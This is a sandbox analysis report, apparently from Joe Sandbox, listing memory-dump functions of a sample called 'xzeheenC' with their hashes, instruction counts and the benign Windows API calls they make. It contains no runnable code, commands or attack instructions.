Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 262ac3617354efd8d337ddf6f54c060c399394cf332f526c511cbed3ea917140
Instruction ID: 4cc1df45ab60e64006eaad6118857a82370e310100ee016f7d7295bc232870bf
Opcode Fuzzy Hash: 262ac3617354efd8d337ddf6f54c060c399394cf332f526c511cbed3ea917140
Instruction Fuzzy Hash: AEF19C75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA8E30 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac589cab46faf8bfa11bb99c6adc404fb23bc9947ff5a4d062a5fe38cf56a6e
Instruction ID: 13d325e44c7c20b59f9414c11fe37aea6f6ebe7effcb4858081809262168688e
Opcode Fuzzy Hash: dac589cab46faf8bfa11bb99c6adc404fb23bc9947ff5a4d062a5fe38cf56a6e
Instruction Fuzzy Hash: 68F1AC75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA0608 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15590d6102ab04b5613ad67b610c0df3334147a5e29be55496a360c0e87224a9
Instruction ID: 7bd4f86d02c9d97db7be0d3be0ff8183d107f5220358d3655bf1b4d0cc00537b
Opcode Fuzzy Hash: 15590d6102ab04b5613ad67b610c0df3334147a5e29be55496a360c0e87224a9
Instruction Fuzzy Hash: EAF1AD75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA7710 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99ece94da1f9b5e351ba5cdc5dcc3e8dea659db5e477122d05cb70aec6c6bd24
Instruction ID: 3afe1c1354f50bae9b793106d1230919d475f1d614f880cb1918c847d7d72ca0
Opcode Fuzzy Hash: 99ece94da1f9b5e351ba5cdc5dcc3e8dea659db5e477122d05cb70aec6c6bd24
Instruction Fuzzy Hash: D0F1AD75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AAB110 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d564ffc7a5070c053bcf54e10182c48a925cfeb304499bc21280e98a2507c6cc
Instruction ID: b1a6d9e073e8e691002b333886f247b849ed112d4ca219734715cb1807891dc8
Opcode Fuzzy Hash: d564ffc7a5070c053bcf54e10182c48a925cfeb304499bc21280e98a2507c6cc
Instruction Fuzzy Hash: 44F1AB75E01228CFDB64DFA9C994BDDBBB2BF89300F5081AAD409A7291DB345E85CF50

Function 20AA8868 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a8e149c7b43b257cfdabc472740b11607bd72a9a7858d1ce687393b949b512
Instruction ID: dcc5a44d7b461542d90486fe0584d9bdd790de7a213bf05ce8c2ebcfddc639fd
Opcode Fuzzy Hash: a8a8e149c7b43b257cfdabc472740b11607bd72a9a7858d1ce687393b949b512
Instruction Fuzzy Hash: DDF1AC75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7395DB345E85CF50

Function 20AAC268 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1811aaf9e8410346428a469182cfad584405d42bcf3c8139de7fe90a192d510
Instruction ID: 63bda66d9324380a23f9e105d7fb191f65c13cf1259d3bd7c50d6c787a74f5d6
Opcode Fuzzy Hash: e1811aaf9e8410346428a469182cfad584405d42bcf3c8139de7fe90a192d510
Instruction Fuzzy Hash: 90F19C75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AA1760 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e681567c894d6e37b6d62b5368625fc60582bcc9eab162183982045abcc051a
Instruction ID: e473d5a1c4f388f2694cc6bb5667de98797be7a60556b7fcaaa96ff5c3621cc9
Opcode Fuzzy Hash: 5e681567c894d6e37b6d62b5368625fc60582bcc9eab162183982045abcc051a
Instruction Fuzzy Hash: C9F1AB75E01228CFDB64DFA9C984B9DBBB2BF89300F5081AAD409A7391DB345E85CF50

Function 20AAAB48 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112a6ac3ae1890a080dc93551412978c78342cc348c9437e8f3fb0f511cf0f9b
Instruction ID: ffe042fdc418a9eb7e8b083a3c31c55e957a3a01919561336e3a266de80b1852
Opcode Fuzzy Hash: 112a6ac3ae1890a080dc93551412978c78342cc348c9437e8f3fb0f511cf0f9b
Instruction Fuzzy Hash: 9DF1AC75E01228CFDB64DFA9C984B9DBBB2BF89300F1081AAD409A7391DB355E85CF50

Function 20AA0040 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 106740ca08a8ae17dc4e3f72a42301cb0644a1d3224f8a31add9a8960d34f4b7
Instruction ID: 75d442850c38126f19d70a62816c36b43dcfd119140d5b68f36fb3a46feefd91
Opcode Fuzzy Hash: 106740ca08a8ae17dc4e3f72a42301cb0644a1d3224f8a31add9a8960d34f4b7
Instruction Fuzzy Hash: 50F1AC75E01228CFDB64DFA9C994B9DBBB2BF89300F5081AAD409A7291DB345E85CF50

Function 20A82BF9 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769c088805af8c1f471eee801f3c07c71e1694137837d248183e82b38fdaff34
Instruction ID: 141e46f08a1cafd6a5e5a017597e661b5bc2a9da85bb98a3ca5123a224dd9d33
Opcode Fuzzy Hash: 769c088805af8c1f471eee801f3c07c71e1694137837d248183e82b38fdaff34
Instruction Fuzzy Hash: 9BA11771D016598EDB10DFA9C884BEDFBB1FF89300F50C6AAE41867261EB709A84CF41

Function 20AAD280 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9ec512b9913208dc948e944788f535ef0dc4d7f5e9f6d51a7a02676e1b39c8
Instruction ID: 0a7e3c7da7c7c74269c966b675b89345ad1fabe685ff7a8bd52c6f1761502cd8
Opcode Fuzzy Hash: 7d9ec512b9913208dc948e944788f535ef0dc4d7f5e9f6d51a7a02676e1b39c8
Instruction Fuzzy Hash: F7B1B275E01228CFEB64CF6AC944BDEBBF2BB89300F14C1A9D449A7254DB345A85CF11

Function 20AAEE28 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8789f6e51adcfd7bedad8373063c07848576420355b1a7fce88f3e31919f60aa
Instruction ID: bf3938b27fd32ef6e8a80b7867633f34c2733bec0d0a5562031b96a9304b3429
Opcode Fuzzy Hash: 8789f6e51adcfd7bedad8373063c07848576420355b1a7fce88f3e31919f60aa
Instruction Fuzzy Hash: 9FB1B375E01228CFDB68CF6AC984B9EBBF2BB89300F10C1A9D408A7255DB345A81CF51

Function 20AAF510 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59439a07dab60d55b54b6b73ce67108349ca6c09016e421db2594128b50e8b5b
Instruction ID: 46238931c29ba5ce13fbb0a7067a5138cbab250f0ff45fe6d002b7302ea87dc8
Opcode Fuzzy Hash: 59439a07dab60d55b54b6b73ce67108349ca6c09016e421db2594128b50e8b5b
Instruction Fuzzy Hash: 5EB1A375E01228CFDB68CFAAC944B9DBBF2BB89300F54C1A9D408A7254DB745A85CF51

Function 20AAD970 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b67445a3468dc39f109248ae705d07bd752081c6b650a3a81e6348f12a30fbf0
Instruction ID: 60704a2bc778b958c0e483f000df3e91e92581e9701844e0f6159a6bd41c050d
Opcode Fuzzy Hash: b67445a3468dc39f109248ae705d07bd752081c6b650a3a81e6348f12a30fbf0
Instruction Fuzzy Hash: E5B1A075E01228CFEB64CF6AC984BDEBBF2BB89300F50C0A9D449A7255DB745A85CF11

Function 20AAE740 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c83c1843a20dd899eeb880991e1843e60490485a580c81efad9d6542f39b70
Instruction ID: d20118864ce3299dc97c31b8c5e9a88f44c67049a4f629a54cd4f685b6c2f36a
Opcode Fuzzy Hash: d4c83c1843a20dd899eeb880991e1843e60490485a580c81efad9d6542f39b70
Instruction Fuzzy Hash: 8FA1B075E012288FEB64CF6AC984B9EFBF2BB89300F50C0A9D448A7255DB745A85CF51

Function 20AAE058 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da996208d8931af8c31964d5172b740ac132b34b344c7f6827a062621189808f
Instruction ID: 1066d9ee97b00165162f0ad66909a6c5fe2a2150037d4e9b926c400f9d68d557
Opcode Fuzzy Hash: da996208d8931af8c31964d5172b740ac132b34b344c7f6827a062621189808f
Instruction Fuzzy Hash: 55A1A275E01228CFEB64CF6AC984BDEBBF2BB89300F50C1A9D448A7254DB745A85CF51

Function 1F6EE1C8 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3472370573.000000001F6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f6e0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66defc7fd3d1e37a5891f017063ebe404fdb4937a96a89803b428a862aa86fd
Instruction ID: 32405230cf740c13e89efd1a169892f09c7d99f61f0fdda7ba9350f8e6f74418
Opcode Fuzzy Hash: a66defc7fd3d1e37a5891f017063ebe404fdb4937a96a89803b428a862aa86fd
Instruction Fuzzy Hash: 9FA11470D01218CFEB10DFA9C994BDDBBB1FF89314F208269E409A72A2DB759984CF55

Function 20AAE730 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b21879e54b0bdc2d8952613c5b1a494d6316e98da9758be42adc4456239dba7
Instruction ID: de40a368eb5ca369abca04c59115535fadff778a5c3ee502dcc8b4523c0fda19
Opcode Fuzzy Hash: 1b21879e54b0bdc2d8952613c5b1a494d6316e98da9758be42adc4456239dba7
Instruction Fuzzy Hash: 7A81B375E01628CFEB18CF6AC944BDEBAF2BF89300F14C1AAD448A7254DB744A85CF51

Function 20AAE048 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca083d07e0fcb63942f3a791dbf4514a3608c3529baf30c9f2309337f1371c50
Instruction ID: 6e34783164f38e6d07747b43136f765834a5f49530e46f3c573c7e19021f5d51
Opcode Fuzzy Hash: ca083d07e0fcb63942f3a791dbf4514a3608c3529baf30c9f2309337f1371c50
Instruction Fuzzy Hash: 5281A375E01628CFEB68CF6AC9847DDBAF2BF89300F14C1AAD448A7254DB744A85CF51

Function 20A80006 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec893bb7f8a3ed700049c4c2c3034b627a06a4cd79139c1495fd3067e1c593d
Instruction ID: 7c06e442e5b8c01de12d79f57bf129a05fa8941454b2181ba3d5477ccd88e714
Opcode Fuzzy Hash: 0ec893bb7f8a3ed700049c4c2c3034b627a06a4cd79139c1495fd3067e1c593d
Instruction Fuzzy Hash: 70512875E053588FEB65CFB9C8507DDBBB2AF8A300F1481AAC448A7252DB345A86CF51

Function 20AAD272 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae084221e6d38db958553a62baa192b493d788d77de200e01d6cee08bc978a2
Instruction ID: 26f2fd9df1fb3503b17ba1bd413515eedd90737fdd73b1e5c09291c03f35367f
Opcode Fuzzy Hash: cae084221e6d38db958553a62baa192b493d788d77de200e01d6cee08bc978a2
Instruction Fuzzy Hash: 7B4166B5E016188BEB58CF6BC9547DEFAF3AFC9300F14C5AAC50DA6264DB740A858F11

Function 20AAEE18 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: becd48526b67ecca4c896afb01d3a213c4dbf91c00dc2087f09268cfe3a47fea
Instruction ID: ded3ddab15cb92bc6b4796045fe190388f2c9a624ec9e4459ed395f571a9794c
Opcode Fuzzy Hash: becd48526b67ecca4c896afb01d3a213c4dbf91c00dc2087f09268cfe3a47fea
Instruction Fuzzy Hash: 224167B5E016188BEB58CF6BC9547DEFAF3AFC9300F14C1AAC50CA6264DB740A858F51

Function 20AAF501 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e536627364f7970becdcab7b3b43dbe2cf96cbfb558b15fdf48e726d5d4e06d
Instruction ID: 913b48a97fb829b28b5f4f173a6ba0381b19eca4397f58454a563aa3375fb0ae
Opcode Fuzzy Hash: 2e536627364f7970becdcab7b3b43dbe2cf96cbfb558b15fdf48e726d5d4e06d
Instruction Fuzzy Hash: 714188B1E016588BEB58CF6BC95479EFAF3AFC9300F14C1AAC50CA7264DB740A858F51

Function 20AAD969 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66277b57ef6afe55de1a976e1d817491fe44b0cc3af479ae6ab5bde6ffea7b27
Instruction ID: 8c85fa6f268a71bea65e2fe1f245ab7b9d866d6fd67f857b8f5b75762fa81d72
Opcode Fuzzy Hash: 66277b57ef6afe55de1a976e1d817491fe44b0cc3af479ae6ab5bde6ffea7b27
Instruction Fuzzy Hash: EE4158B5E016188BEB58CF6BC9447DEFAF3AFC9300F14C1AAC50DA6264DB750A858F51

Function 20AAAB39 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 757b3a358f95ae367037fa357f991ca08c15284d5da5ebccee223bf14feb5afd
Instruction ID: 4b40ce73e562886d035c5fb078c5c31804843b9b1199cf5c73fd6bbccdb1a908
Opcode Fuzzy Hash: 757b3a358f95ae367037fa357f991ca08c15284d5da5ebccee223bf14feb5afd
Instruction Fuzzy Hash: 5A41C475E012188FEB64CFAAD8507DEBBF2AF89300F50C0A9C418A7256DB355A85CF55

Function 20AAB100 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abae13df324656a6271feac335e53b0cf6cf7544e04e4d0d8da9f50d15ac2f50
Instruction ID: 57eedab56b48ddf7cd790667306bc05f018c38df3f40a22c72353d1c5e1a9a24
Opcode Fuzzy Hash: abae13df324656a6271feac335e53b0cf6cf7544e04e4d0d8da9f50d15ac2f50
Instruction Fuzzy Hash: 3741C675E11218CFDB64CFAAC9507DEBBF2AF89300F5081AAC418A7256DB345985CF51

Function 20A805F7 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d90a9a060502874a69ad8a94b786f208977964139769018242066706c396add
Instruction ID: 1e5cd0194217303a03b94f90027238e3f9941001af91c9594e6b53de892e2641
Opcode Fuzzy Hash: 5d90a9a060502874a69ad8a94b786f208977964139769018242066706c396add
Instruction Fuzzy Hash: 5841F675E01218CFEB68CFAAC9407DEBBF2AF89300F5081AAC418A7255DB355A85CF41

Function 20AA0BC0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3474108716.0000000020AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20aa0000_xzeheenC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e9680d9ec076910c8fd8761ebbad8fdbd0a4909478256a30817eb7edda76cd
Instruction ID: 1a9c36b9c34f50d6110f8a1f66a92a4c510ab86354452df99df3672598a06e2e
Opcode Fuzzy Hash: a2e9680d9ec076910c8fd8761ebbad8fdbd0a4909478256a30817eb7edda76cd
Instruction Fuzzy Hash: 1141E375E01218CFEB68CFBAD9407DEBBF2AF89304F5080A9C418A7251DB345A85CF55

Function 20A81BD0 Relevance: 6.6, Strings: 5, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8bq, xrefs: 20A82011
TJbq, xrefs: 20A8204A
Haq, xrefs: 20A81C1E
Haq, xrefs: 20A81E19
Haq, xrefs: 20A81DBA

Memory Dump Source

Source File: 00000004.00000002.3473974376.0000000020A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 20A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20a80000_xzeheenC.jbxd

Similarity

API ID:
String ID: 8bq$Haq$Haq$Haq$TJbq
API String ID: 0-1597716666
Opcode ID: e2ed0d0424745823e72c32ac438b5b4484d9c80f32e9f9ea4e59d3b391b3a443
Instruction ID: b257eed1a137397a6ad36eba635f66e2d92e6e3f4741be341c8d573605dfe5c1
Opcode Fuzzy Hash: e2ed0d0424745823e72c32ac438b5b4484d9c80f32e9f9ea4e59d3b391b3a443
Instruction Fuzzy Hash: 68D1E774B042048FC704DFA8D590AAE7BBAFF89320F644469D505DB3A2CB75ED46CBA1

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 20CAC888 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 20CAC916
GetCurrentThread.KERNEL32 ref: 20CAC953
GetCurrentProcess.KERNEL32 ref: 20CAC990
GetCurrentThreadId.KERNEL32 ref: 20CAC9E9

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c68818f451b92212ad4996e61869785cebf14d92bcf1baada82a51f40a012ab9
Instruction ID: 8e7cd390abe62b21e0fba9f7fb13365135caf6f5863c35b7e8d425764c38e0d4
Opcode Fuzzy Hash: c68818f451b92212ad4996e61869785cebf14d92bcf1baada82a51f40a012ab9
Instruction Fuzzy Hash: 0A5185B09003498FCB04DFA9D588BEEBBF5AF88310F248059E459A7260D7756980CF65

Function 20CAC898 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 20CAC916
GetCurrentThread.KERNEL32 ref: 20CAC953
GetCurrentProcess.KERNEL32 ref: 20CAC990
GetCurrentThreadId.KERNEL32 ref: 20CAC9E9

Memory Dump Source

Source File: 00000004.00000002.3474381326.0000000020CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 20CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20ca0000_xzeheenC.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bcb42ad95be6dab9de03b0cfa721f966fb179a6f0e4b8c5da78c1738870b30f5
Instruction ID: 6367e1d08eb220450240e734846fbf87be3f80c3579f4fa9d173bbfe8543c889
Opcode Fuzzy Hash: bcb42ad95be6dab9de03b0cfa721f966fb179a6f0e4b8c5da78c1738870b30f5
Instruction Fuzzy Hash: 7A5176B0900349CFDB04DFAAD588BAEBBF5EF88310F248019E059A7360D7756940CFA5

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
